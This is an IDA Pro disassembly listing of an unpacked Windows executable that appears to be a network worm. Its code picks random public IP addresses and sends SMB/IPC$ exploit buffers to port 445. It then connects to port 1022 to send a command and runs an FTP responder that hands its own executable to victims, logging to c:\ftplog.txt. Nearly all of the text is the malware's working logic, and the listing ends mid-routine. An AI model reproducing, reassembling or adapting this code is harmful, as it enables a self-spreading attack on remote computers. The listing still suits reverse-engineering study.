; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 0C866C8CCE873A26F6CDE33810951DD2 ; File Name : u:\work\0c866c8cce873a26f6cde33810951dd2_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00007000 ( 28672.) ; Section size in file : 00007000 ( 28672.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; CODE XREF: sub_40126C+7Cp ; sub_401F4B:loc_401FC9p ... mov eax, dword_4070C0 imul eax, 343FDh add eax, 279EC3h mov dword_4070C0, eax shr eax, 10h and eax, 7FFFh retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_40101E proc near ; CODE XREF: sub_4020D9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4070C0, eax retn sub_40101E endp ; =============== S U B R O U T I N E ======================================= sub_401028 proc near ; CODE XREF: sub_4020D9+11p var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call dword_405104 add esp, 190h retn sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401045 proc near ; CODE XREF: sub_4010D2+4Cp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call dword_405134 movsx ecx, al mov [ebp+arg_0], eax movsx edx, byte ptr [ebp+arg_0+2] movsx esi, byte ptr [ebp+arg_0+3] movsx edi, ah test ecx, ecx mov eax, 100h jge short loc_40106F add ecx, eax loc_40106F: ; CODE XREF: sub_401045+26j test edi, edi jge short loc_401075 add edi, eax loc_401075: ; CODE XREF: sub_401045+2Cj test edx, edx jge short loc_40107B add edx, eax loc_40107B: ; CODE XREF: sub_401045+32j test esi, esi jge short loc_401081 add esi, eax loc_401081: ; CODE XREF: sub_401045+38j push 1 cmp ecx, 7Fh pop eax jnz short loc_401095 test edi, edi jnz short loc_4010CE test edx, edx jnz short loc_4010CE cmp esi, eax jz short loc_4010CC loc_401095: ; CODE XREF: sub_401045+42j cmp ecx, 0Ah jz short loc_4010CC cmp ecx, 0ACh jnz short loc_4010AC cmp edi, 0Fh jle short loc_4010CE cmp edi, 20h jl short loc_4010CC loc_4010AC: ; CODE XREF: sub_401045+5Bj cmp ecx, 0C0h jnz short loc_4010BC cmp edi, 0A8h jz short loc_4010CC loc_4010BC: ; CODE XREF: sub_401045+6Dj cmp ecx, 0A9h jnz short loc_4010CE cmp edi, 0FEh jnz short loc_4010CE loc_4010CC: ; CODE XREF: sub_401045+4Ej ; sub_401045+53j ... xor al, al loc_4010CE: ; CODE XREF: sub_401045+46j ; sub_401045+4Aj ... pop edi pop esi pop ebp retn sub_401045 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010D2 proc near ; CODE XREF: sub_40126C+9Cp ; sub_401F4B+3Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push ebx push esi push edi lea eax, [ebp+var_100] push 0FFh push eax call dword_40512C test eax, eax jnz short loc_401136 lea eax, [ebp+var_100] push eax call dword_405138 mov edi, eax xor esi, esi cmp edi, esi jz short loc_401136 mov eax, [edi+0Ch] cmp [eax], esi jz short loc_401136 loc_401110: ; CODE XREF: sub_4010D2+60j mov eax, [esi+eax] push dword ptr [eax] call dword_405130 mov ebx, eax push ebx call sub_401045 test al, al pop ecx jnz short loc_40113D mov eax, [edi+0Ch] add esi, 4 cmp dword ptr [esi+eax], 0 jnz short loc_401110 jmp short loc_401139 ; --------------------------------------------------------------------------- loc_401136: ; CODE XREF: sub_4010D2+20j ; sub_4010D2+35j ... mov ebx, [ebp+arg_0] loc_401139: ; CODE XREF: sub_4010D2+62j test ebx, ebx jz short loc_401140 loc_40113D: ; CODE XREF: sub_4010D2+54j push ebx jmp short loc_401145 ; --------------------------------------------------------------------------- loc_401140: ; CODE XREF: sub_4010D2+69j push offset a127_0_0_1 ; "127.0.0.1" loc_401145: ; CODE XREF: sub_4010D2+6Cj push [ebp+arg_0] call dword_405018 ; lstrcpyA pop edi pop esi pop ebx leave retn sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401153 proc near ; CODE XREF: sub_401F4B+137p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_4022A0 add esp, 0Ch mov [ebp+var_10], 2 push 1BDh call dword_40511C push [ebp+arg_0] mov [ebp+var_E], ax call sub_4011D5 mov [ebp+var_C], eax push 8 lea eax, [ebp+var_8] push 0 push eax call sub_4022A0 add esp, 10h push 6 push 1 pop ebx push ebx push 2 call dword_405120 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4011B4 xor al, al jmp short loc_4011D1 ; --------------------------------------------------------------------------- loc_4011B4: ; CODE XREF: sub_401153+5Bj lea eax, [ebp+var_10] push 10h push eax push esi call dword_405124 cmp eax, 0FFFFFFFFh jnz short loc_4011C8 xor bl, bl loc_4011C8: ; CODE XREF: sub_401153+71j push esi call dword_405128 mov al, bl loc_4011D1: ; CODE XREF: sub_401153+5Fj pop esi pop ebx leave retn sub_401153 endp ; =============== S U B R O U T I N E ======================================= sub_4011D5 proc near ; CODE XREF: sub_401153+30p ; sub_40126C+34p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push edi call dword_405134 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4011F2 test esi, esi jnz short loc_401204 cmp byte ptr [edi], 30h jz short loc_40120B loc_4011F2: ; CODE XREF: sub_4011D5+12j push edi call dword_405138 test eax, eax jz short loc_401204 mov eax, [eax+0Ch] mov eax, [eax] mov esi, [eax] loc_401204: ; CODE XREF: sub_4011D5+16j ; sub_4011D5+26j cmp esi, 0FFFFFFFFh jnz short loc_40120B xor esi, esi loc_40120B: ; CODE XREF: sub_4011D5+1Bj ; sub_4011D5+32j mov eax, esi pop edi pop esi retn sub_4011D5 endp ; =============== S U B R O U T I N E ======================================= sub_401210 proc near ; CODE XREF: sub_401B59+2B5p arg_0 = dword ptr 4 inc dword_4070C4 push esi push 0 push offset aCFtplog_txt ; "c:\\ftplog.txt" call dword_405028 ; _lcreat mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40126A push ebx push edi push 2 push 0 push esi call dword_405024 ; _llseek push [esp+0Ch+arg_0] call sub_402300 mov edi, dword_405020 pop ecx push eax push [esp+10h+arg_0] push esi call edi ; dword_405020 mov ebx, offset asc_406A0C ; "\r\n" push ebx call sub_402300 pop ecx push eax push ebx push esi call edi ; dword_405020 push esi call dword_40501C ; _lclose pop edi pop ebx loc_40126A: ; CODE XREF: sub_401210+19j pop esi retn sub_401210 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40126C proc near ; CODE XREF: sub_401A69+7Bp var_33C = byte ptr -33Ch var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 33Ch push ebx push edi xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_4022A0 add esp, 0Ch mov [ebp+var_10], 2 push 3FEh call dword_40511C push [ebp+arg_0] mov [ebp+var_E], ax call sub_4011D5 mov [ebp+var_C], eax push 8 lea eax, [ebp+var_8] push ebx push eax call sub_4022A0 add esp, 10h push 6 push 1 push 2 call dword_405120 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4012D1 xor al, al jmp loc_401379 ; --------------------------------------------------------------------------- loc_4012D1: ; CODE XREF: sub_40126C+5Cj lea eax, [ebp+var_10] push 10h push eax push edi call dword_405124 cmp eax, 0FFFFFFFFh jz loc_401370 push esi call sub_401000 mov esi, eax lea eax, [ebp+var_110] push offset dword_4070C8 push eax call dword_405018 ; lstrcpyA lea eax, [ebp+var_110] push eax call sub_4010D2 push esi lea eax, [ebp+var_110] push esi push eax push off_406030 lea eax, [ebp+var_33C] push eax call dword_4050F0 ; wsprintfA lea eax, [ebp+var_33C] xor esi, esi push eax call sub_402300 add esp, 1Ch test eax, eax jbe short loc_401362 loc_40133E: ; CODE XREF: sub_40126C+F4j push ebx lea eax, [ebp+esi+var_33C] push 1 push eax push edi call dword_405118 lea eax, [ebp+var_33C] inc esi push eax call sub_402300 cmp esi, eax pop ecx jb short loc_40133E loc_401362: ; CODE XREF: sub_40126C+D0j push 3E8h call dword_40502C ; Sleep mov bl, 1 pop esi loc_401370: ; CODE XREF: sub_40126C+75j push edi call dword_405128 mov al, bl loc_401379: ; CODE XREF: sub_40126C+60j pop edi pop ebx leave retn sub_40126C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40137D proc near ; CODE XREF: sub_401A69+15p var_744 = byte ptr -744h var_714 = byte ptr -714h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 744h push ebx push esi push edi push offset dword_4070C8 push [ebp+arg_4] call dword_405018 ; lstrcpyA push [ebp+arg_0] lea eax, [ebp+var_3C] push offset aSIpc ; "\\\\%s\\ipc$" push eax call dword_4050F0 ; wsprintfA add esp, 0Ch xor edi, edi xor ecx, ecx lea eax, [ebp+var_103] loc_4013B6: ; CODE XREF: sub_40137D+49j mov dl, [ebp+ecx+var_3C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_4013B6 push 60h lea eax, [ebp+var_B4] push offset dword_4063E4 push eax call sub_402380 lea eax, [ebp+var_3C] push eax call sub_402300 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_402380 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC+3) push eax call sub_402300 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_402380 lea eax, [ebp+var_3C] push eax call sub_402300 add al, 1Ah push 1 shl al, 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_B1] push eax call sub_402380 lea eax, [ebp+var_3C] push eax call sub_402300 shl al, 1 add al, 9 push 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_87] push eax call sub_402380 add esp, 2Ch push [ebp+arg_0] call dword_405138 mov ebx, eax cmp ebx, edi jz loc_401539 push edi push 1 push 2 call dword_405120 mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_401539 push 1BDh loc_401493: ; DATA XREF: .text:off_4065D8o mov [ebp+var_14], 2 call dword_40511C mov [ebp+var_12], ax mov eax, [ebx+0Ch] push 8 push edi mov eax, [eax] mov eax, [eax] mov [ebp+var_10], eax lea eax, [ebp+var_C] push eax call sub_4022A0 add esp, 0Ch lea eax, [ebp+var_14] push 10h push eax push esi call dword_405124 cmp eax, 0FFFFFFFFh jz short loc_401539 mov ebx, dword_405118 push edi push 89h push offset dword_4061CC push esi call ebx ; dword_405118 cmp eax, 0FFFFFFFFh jz short loc_401539 push edi mov edi, 640h lea eax, [ebp+var_744] push edi push eax push esi mov esi, dword_405114 call esi ; dword_405114 push 0 push 0A8h push offset dword_406258 push [ebp+arg_0] call ebx ; dword_405118 cmp eax, 0FFFFFFFFh jz short loc_401539 push 0 lea eax, [ebp+var_744] push edi push eax push [ebp+arg_0] call esi ; dword_405114 push 0 push 0DEh push offset dword_406304 push [ebp+arg_0] call ebx ; dword_405118 cmp eax, 0FFFFFFFFh jnz short loc_40153D loc_401539: ; CODE XREF: sub_40137D+F2j ; sub_40137D+10Bj ... xor eax, eax jmp short loc_40157E ; --------------------------------------------------------------------------- loc_40153D: ; CODE XREF: sub_40137D+1BAj push 0 lea eax, [ebp+var_744] push edi push eax push [ebp+arg_0] call esi ; dword_405114 push 46h lea esi, [ebp+var_714] pop edi loc_401555: ; CODE XREF: sub_40137D+1F3j movsx eax, byte ptr [esi] push eax push [ebp+arg_4] push offset aSC ; "%s%c" push [ebp+arg_4] call dword_4050F0 ; wsprintfA add esp, 10h inc esi inc esi dec edi jnz short loc_401555 push [ebp+arg_0] call dword_405128 push 1 pop eax loc_40157E: ; CODE XREF: sub_40137D+1BEj pop edi pop esi pop ebx leave retn sub_40137D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401583 proc near ; CODE XREF: sub_401A69+3Bp ; sub_401A69+5Ep ... var_89C4 = byte ptr -89C4h var_895C = byte ptr -895Ch var_68EC = byte ptr -68ECh var_687C = byte ptr -687Ch var_5DB8 = byte ptr -5DB8h var_4814 = byte ptr -4814h var_4813 = byte ptr -4813h var_3780 = byte ptr -3780h var_2CBC = byte ptr -2CBCh var_2CBB = byte ptr -2CBBh var_2CB8 = byte ptr -2CB8h var_24D4 = byte ptr -24D4h var_24C4 = byte ptr -24C4h var_21A0 = byte ptr -21A0h var_219C = byte ptr -219Ch var_2190 = byte ptr -2190h var_1F08 = byte ptr -1F08h var_1E8C = byte ptr -1E8Ch var_16BC = byte ptr -16BCh var_1211 = byte ptr -1211h var_F24 = byte ptr -0F24h var_E84 = byte ptr -0E84h var_778 = dword ptr -778h var_768 = byte ptr -768h var_754 = byte ptr -754h var_114 = byte ptr -114h var_113 = byte ptr -113h var_C4 = byte ptr -0C4h var_C1 = byte ptr -0C1h var_97 = byte ptr -97h var_95 = byte ptr -95h var_94 = byte ptr -94h var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 89C4h call sub_4026C0 mov eax, dword_406A3C push [ebp+arg_0] mov [ebp+var_14], eax mov eax, dword_406A40 mov [ebp+var_10], eax lea eax, [ebp+var_4C] push offset aSIpc ; "\\\\%s\\ipc$" push eax call dword_4050F0 ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_113] loc_4015BD: ; CODE XREF: sub_401583+4Aj mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_4015BD push ebx push esi push edi push 60h lea eax, [ebp+var_C4] push offset dword_4063E4 push eax call sub_402380 lea eax, [ebp+var_4C] push eax call sub_402300 shl eax, 1 push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_94] push eax call sub_402380 add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_402300 pop ecx lea eax, [ebp+eax*2+var_95] push eax call sub_402380 lea eax, [ebp+var_4C] push eax call sub_402300 add al, 1Ah push 1 shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_C1] push eax call sub_402380 lea eax, [ebp+var_4C] push eax call sub_402300 shl al, 1 add al, 9 push 1 mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_97] push eax call sub_402380 add esp, 2Ch push 3FEh call dword_40511C xor eax, 9999h push 2 mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax push offset dword_4060E4 call sub_402380 mov ebx, [ebp+arg_4] add esp, 0Ch cmp ebx, 1 jz short loc_4016FF cmp ebx, 2 jz short loc_4016FF push 7D0h lea eax, [ebp+var_F24] push 90h push eax call sub_4022A0 mov esi, offset loc_406034 push esi call sub_402300 push eax lea eax, [ebp+var_E84] push esi push eax call sub_402380 lea eax, [ebp+var_14] push eax call sub_402300 push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_768] push eax call sub_402380 add esp, 2Ch imul ebx, 3Ch mov eax, dword_406810[ebx] mov [ebp+var_778], eax jmp loc_4017D3 ; --------------------------------------------------------------------------- loc_4016FF: ; CODE XREF: sub_401583+115j ; sub_401583+11Aj mov edi, 0DACh lea eax, [ebp+var_2CB8] push edi push 90h push eax call sub_4022A0 imul ebx, 3Ch push 4 lea eax, [ebp+var_24D4] lea ebx, dword_406810[ebx] push ebx push eax call sub_402380 mov esi, offset loc_406034 push esi call sub_402300 push eax lea eax, [ebp+var_24C4] push esi push eax call sub_402380 push 4 lea eax, [ebp+var_21A0] push offset dword_406A34 push eax call sub_402380 push 4 lea eax, [ebp+var_219C] push ebx push eax call sub_402380 add esp, 40h push esi call sub_402300 push eax lea eax, [ebp+var_2190] push esi push eax call sub_402380 add esp, 10h xor ecx, ecx lea eax, [ebp+var_4813] loc_40178B: ; CODE XREF: sub_401583+21Aj mov dl, [ebp+ecx+var_2CB8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, edi jl short loc_40178B and [ebp+var_2CBC], 0 and [ebp+var_2CBB], 0 mov esi, 1C52h lea eax, [ebp+var_89C4] push esi push 31h push eax call sub_4022A0 push esi lea eax, [ebp+var_68EC] push 31h push eax call sub_4022A0 add esp, 18h loc_4017D3: ; CODE XREF: sub_401583+177j push 0 push 1 push 2 call dword_405120 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_401A62 push 1BDh mov [ebp+var_24], 2 call dword_40511C push [ebp+arg_0] mov [ebp+var_22], ax call sub_4011D5 mov [ebp+var_20], eax xor ebx, ebx push 8 lea eax, [ebp+var_1C] push ebx push eax call sub_4022A0 add esp, 10h lea eax, [ebp+var_24] push 10h push eax push edi call dword_405124 cmp eax, 0FFFFFFFFh jz loc_401A62 mov esi, dword_405118 push ebx push 89h push offset dword_4061CC push edi call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz loc_401A62 push ebx mov ebx, 640h lea eax, [ebp+var_754] push ebx push eax push edi mov edi, dword_405114 call edi ; dword_405114 push 0 push 0A8h push offset dword_406258 push [ebp+var_4] call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz loc_401A62 push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; dword_405114 push 0 push 0DEh push offset dword_406304 push [ebp+var_4] call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz loc_401A62 push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; dword_405114 movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_C4] push eax push [ebp+var_4] call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz loc_401A62 push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; dword_405114 push 0 push 68h push offset dword_406448 push [ebp+var_4] call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz loc_401A62 push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; dword_405114 push 0 push 0A0h push offset dword_4064B4 push [ebp+var_4] call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz loc_401A62 push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; dword_405114 cmp [ebp+arg_4], 1 jz short loc_4019A0 cmp [ebp+arg_4], 2 jz short loc_4019A0 push 7Ch lea eax, [ebp+var_1F08] push offset dword_406558 push eax call sub_402380 lea eax, [ebp+var_F24] push 7D0h push eax lea eax, [ebp+var_1E8C] push eax call sub_402380 push 90h lea eax, [ebp+var_16BC] push offset off_4065D8 push eax call sub_402380 add esp, 24h and [ebp+var_1211], 0 lea eax, [ebp+var_1F08] push 0 push 0CF8h jmp loc_401A43 ; --------------------------------------------------------------------------- loc_4019A0: ; CODE XREF: sub_401583+3B8j ; sub_401583+3BEj push 68h lea eax, [ebp+var_89C4] push offset dword_40666C push eax call sub_402380 lea eax, [ebp+var_4814] push 1B5Ah push eax lea eax, [ebp+var_895C] push eax call sub_402380 push 70h lea eax, [ebp+var_68EC] push offset dword_4066D8 push eax call sub_402380 lea eax, [ebp+var_3780] push 0A5Eh push eax lea eax, [ebp+var_687C] push eax call sub_402380 push 84h lea eax, [ebp+var_5DB8] push offset dword_40674C push eax call sub_402380 add esp, 3Ch lea eax, [ebp+var_89C4] push 0 push 10FCh push eax push [ebp+var_4] call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz short loc_401A62 push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; dword_405114 push 0 push 0FDCh lea eax, [ebp+var_68EC] loc_401A43: ; CODE XREF: sub_401583+418j push eax push [ebp+var_4] call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz short loc_401A62 push 3E8h call dword_40502C ; Sleep push [ebp+var_4] call dword_405128 loc_401A62: ; CODE XREF: sub_401583+264j ; sub_401583+2ABj ... pop edi pop esi xor eax, eax pop ebx leave retn sub_401583 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A69 proc near ; CODE XREF: sub_4020D9+27p var_84 = byte ptr -84h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 84h push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_84] push eax push esi call sub_40137D pop ecx cmp eax, 1 pop ecx jnz short loc_401AEA lea eax, [ebp+var_84] push offset dword_406A48 push eax call sub_4026F0 pop ecx test eax, eax pop ecx jz short loc_401AAD push 0 push esi call sub_401583 push 0 jmp short loc_401ADA ; --------------------------------------------------------------------------- loc_401AAD: ; CODE XREF: sub_401A69+36j lea eax, [ebp+var_84] push offset dword_406A44 push eax call sub_4026F0 pop ecx test eax, eax pop ecx jz short loc_401AD0 push 1 push esi call sub_401583 push 1 jmp short loc_401ADA ; --------------------------------------------------------------------------- loc_401AD0: ; CODE XREF: sub_401A69+59j push 2 push esi call sub_401583 push 2 loc_401ADA: ; CODE XREF: sub_401A69+42j ; sub_401A69+65j push esi call sub_401583 add esp, 10h push esi call sub_40126C pop ecx loc_401AEA: ; CODE XREF: sub_401A69+1Fj pop esi leave retn sub_401A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401AED proc near ; CODE XREF: sub_40219B+DAp ; sub_40219B+E6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_40500C test eax, eax jnz short loc_401B19 push [ebp+arg_8] push [ebp+arg_4] call dword_405010 push [ebp+arg_4] call dword_405000 loc_401B19: ; CODE XREF: sub_401AED+15j pop ebp retn sub_401AED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B1B proc near ; CODE XREF: sub_401F4B+126p var_24 = byte ptr -24h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push esi call sub_404DA2 push [ebp+arg_4] mov esi, eax lea eax, [ebp+var_24] or [ebp+var_1C], 0FFFFFFFFh push 24h push eax xor eax, eax push eax push eax push eax push [ebp+arg_0] push esi call sub_404D9C test eax, eax jnz short loc_401B4D or eax, 0FFFFFFFFh jmp short loc_401B56 ; --------------------------------------------------------------------------- loc_401B4D: ; CODE XREF: sub_401B1B+2Bj push esi call sub_404D96 mov eax, [ebp+var_1C] loc_401B56: ; CODE XREF: sub_401B1B+30j pop esi leave retn sub_401B1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B59 proc near ; DATA XREF: sub_401EC0+74o var_8E4 = byte ptr -8E4h var_4E4 = byte ptr -4E4h var_4E0 = byte ptr -4E0h var_E4 = byte ptr -0E4h var_60 = byte ptr -60h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8E4h push ebx mov ebx, [ebp+arg_0] cmp ebx, 0FFFFFFFFh jz loc_401E84 push esi push edi push 0 push off_4068D0 call sub_402300 mov esi, dword_405118 pop ecx push eax push off_4068D0 push ebx call esi ; dword_405118 mov edi, [ebp+arg_0] jmp short loc_401B97 ; --------------------------------------------------------------------------- loc_401B94: ; CODE XREF: sub_401B59+31Aj mov ebx, [ebp+arg_0] loc_401B97: ; CODE XREF: sub_401B59+39j push 0 lea eax, [ebp+var_4E4] push 400h push eax push ebx call dword_405114 and [ebp+eax+var_4E4], 0 mov [ebp+var_10], eax lea eax, [ebp+var_4E4] push offset aUser ; "USER" push eax call sub_4026F0 pop ecx test eax, eax pop ecx jz short loc_401BE8 push 0 push off_4068D4 call sub_402300 pop ecx push eax push off_4068D4 jmp loc_401E6C ; --------------------------------------------------------------------------- loc_401BE8: ; CODE XREF: sub_401B59+73j lea eax, [ebp+var_4E4] push offset aPass ; "PASS" push eax call sub_4026F0 pop ecx test eax, eax pop ecx jz short loc_401C19 push 0 push off_4068D8 call sub_402300 pop ecx push eax push off_4068D8 jmp loc_401E6C ; --------------------------------------------------------------------------- loc_401C19: ; CODE XREF: sub_401B59+A4j lea eax, [ebp+var_4E4] push offset aPort ; "PORT" push eax call sub_4026F0 pop ecx test eax, eax pop ecx jz loc_401CF5 lea eax, [ebp+var_4E0] push eax lea eax, [ebp+var_E4] push eax call sub_402810 mov ax, word_406A68 mov [ebp+var_4], ax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_E4] push eax call sub_402770 add esp, 10h mov ebx, eax xor edi, edi loc_401C68: ; CODE XREF: sub_401B59+159j test ebx, ebx jz short loc_401C9C cmp edi, 4 jge short loc_401C7F push ebx call sub_401E8B pop ecx mov [ebp+edi*4+var_38], eax cmp edi, 4 loc_401C7F: ; CODE XREF: sub_401B59+116j jnz short loc_401C8B push ebx call sub_401E8B pop ecx mov [ebp+var_18], eax loc_401C8B: ; CODE XREF: sub_401B59:loc_401C7Fj cmp edi, 5 jnz short loc_401C9F push ebx call sub_401E8B pop ecx mov [ebp+var_14], eax jmp short loc_401C9F ; --------------------------------------------------------------------------- loc_401C9C: ; CODE XREF: sub_401B59+111j push 6 pop edi loc_401C9F: ; CODE XREF: sub_401B59+135j ; sub_401B59+141j lea eax, [ebp+var_4] push eax push 0 call sub_402770 inc edi pop ecx cmp edi, 6 pop ecx mov ebx, eax jl short loc_401C68 push [ebp+var_2C] mov edi, [ebp+var_18] lea eax, [ebp+var_60] push [ebp+var_30] shl edi, 8 push [ebp+var_34] add edi, [ebp+var_14] push [ebp+var_38] push offset aI_I_I_I ; "%i.%i.%i.%i" push eax call dword_4050F0 ; wsprintfA add esp, 18h push 0 push off_4068E0 call sub_402300 pop ecx push eax push off_4068E0 jmp loc_401E32 ; --------------------------------------------------------------------------- loc_401CF5: ; CODE XREF: sub_401B59+D5j lea eax, [ebp+var_4E4] push offset aRetr ; "RETR" push eax call sub_4026F0 pop ecx test eax, eax pop ecx jz loc_401E37 push 0 push off_4068E4 call sub_402300 pop ecx push eax push off_4068E4 push ebx call esi ; dword_405118 lea eax, [ebp+var_60] push eax call sub_4011D5 mov ebx, eax pop ecx test ebx, ebx jz loc_401E14 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_4022A0 add esp, 0Ch mov [ebp+var_28], 2 push edi call dword_40511C push 0 push 1 push 2 mov [ebp+var_26], ax mov [ebp+var_24], ebx call dword_405120 mov ebx, eax cmp ebx, 0FFFFFFFFh mov [ebp+var_C], ebx jz loc_401E14 lea eax, [ebp+var_28] push 10h push eax push ebx call dword_405124 cmp eax, 0FFFFFFFFh jnz short loc_401D95 push ebx call dword_405128 jmp short loc_401E14 ; --------------------------------------------------------------------------- loc_401D95: ; CODE XREF: sub_401B59+231j lea eax, [ebp+var_8E4] push 400h push eax push 0 call dword_405038 ; GetModuleFileNameA lea eax, [ebp+var_8E4] push 0 push eax call dword_405034 ; _lopen cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jz short loc_401E14 lea eax, [ebp+var_2] push offset dword_4070C8 push eax call sub_402810 mov ebx, dword_405030 pop ecx pop ecx lea eax, [ebp+var_2] push 1 push eax push [ebp+var_8] loc_401DDF: ; CODE XREF: sub_401B59+2A6j call ebx ; dword_405030 cmp eax, 1 jnz short loc_401E01 and [ebp+var_1], 0 push 0 push eax lea eax, [ebp+var_2] push eax push [ebp+var_C] call esi ; dword_405118 lea eax, [ebp+var_2] push 1 